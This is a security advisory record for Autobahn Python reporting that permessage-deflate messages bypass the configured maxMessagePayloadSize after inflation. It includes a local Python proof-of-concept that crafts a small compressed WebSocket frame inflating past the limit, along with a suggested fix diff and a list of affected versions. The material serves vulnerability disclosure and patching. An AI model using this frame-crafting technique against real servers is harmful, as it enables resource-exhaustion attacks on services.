{"id":"GHSA-hxp9-w8x3-p566","summary":"Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation","details":"### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*","aliases":["CVE-2026-77528","PYSEC-2026-4027","PYSEC-2026-4031"],"modified":"2026-10-01T17:56:07.395144130Z","published":"2026-09-22T20:37:28Z","database_specific":{"cwe_ids":["CWE-409","CWE-770"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-22T20:37:28Z","nvd_published_at":"2026-09-18T20:17:22Z"},"references":[{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77528"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/pull/1916"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"},{"type":"PACKAGE","url":"https://github.com/crossbario/autobahn-python"},{"type":"WEB","url":"https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"}],"affected":[{"package":{"name":"autobahn","ecosystem":"PyPI","purl":"pkg:pypi/autobahn"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.7.1"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.5.post2","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.12.0","0.12.1","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.18.0","0.18.1","0.18.2","0.3.1","0.3.2","0.4.0","0.4.1","0.4.10","0.4.2","0.4.3","0.5.0","0.5.1","0.5.14","0.5.2","0.5.5","0.5.8","0.5.9","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.2","0.8.3","0.8.4","0.8.4-2","0.8.4-3","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.3-2","0.9.3-3","0.9.4","0.9.4-2","0.9.5","0.9.6","17.10.1","17.5.1","17.6.1","17.6.2","17.7.1","17.8.1","17.9.1","17.9.2","17.9.3","18.10.1","18.11.1","18.11.2","18.12.1","18.3.1","18.4.1","18.5.1","18.5.2","18.6.1","18.7.1","18.8.1","18.8.2","18.9.1","18.9.2","19.1.1","19.10.1","19.11.1","19.11.2","19.2.1","19.3.1","19.3.2","19.3.3","19.5.1","19.6.1","19.6.2","19.7.1","19.7.2","19.8.1","19.9.1","19.9.2","19.9.3","20.1.2","20.1.3","20.12.1","20.12.2","20.12.3","20.2.1","20.2.2","20.3.1","20.4.1","20.4.2","20.4.3","20.6.1","20.6.2","20.7.1","21.1.1","21.11.1","21.2.1","21.2.2","21.3.1","22.1.1","22.12.1","22.2.1","22.2.2","22.3.1","22.3.2","22.4.1","22.4.2","22.5.1","22.6.1","22.7.1","23.1.1","23.1.2","23.6.1","23.6.2","24.4.2","25.10.1","25.10.2","25.11.1","25.12.1","25.12.2","25.9.1","26.6.1","26.6.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"}},{"package":{"name":"crossbar","ecosystem":"PyPI","purl":"pkg:pypi/crossbar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.7.1"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11.0","0.11.1","0.11.2","0.12.1","0.13.0","0.13.1","0.13.2","0.14.0","0.15.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.0-2","0.9.0-3","0.9.0-4","0.9.0-5","0.9.0-6","0.9.0-7","0.9.1","0.9.10","0.9.11","0.9.12","0.9.12-2","0.9.2","0.9.3","0.9.4","0.9.4-2","0.9.4-3","0.9.5","0.9.6","0.9.6-2","0.9.7","0.9.7-2","0.9.7-3","0.9.7-4","0.9.7-5","0.9.7-6","0.9.8","0.9.8-2","0.9.8-3","0.9.8-4","0.9.8-5","0.9.9","16.10.0","16.10.1","17.10.1","17.11.1","17.12.1","17.2.1","17.3.1","17.5.1","17.6.1.post3","17.8.1.post1","17.9.1","17.9.2","18.10.1.post1","18.11.1","18.11.2","18.12.1","18.3.1","18.4.1","18.5.1","18.5.2","18.6.1","18.7.1","18.7.2","18.9.2","19.1.1","19.1.2","19.10.1","19.11.1","19.2.1","19.3.1","19.3.5","19.5.1","19.6.1","19.6.2","19.7.1","19.9.1","20.1.1","20.1.2","20.12.1","20.12.2","20.12.3","20.2.1","20.4.1","20.4.2","20.6.1","20.6.2","20.7.1","20.8.1","21.1.1","21.2.1","21.3.1","22.1.1","22.2.1","22.3.1","22.4.1","22.5.1","22.6.1","25.12.1","26.4.1.dev1","26.6.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}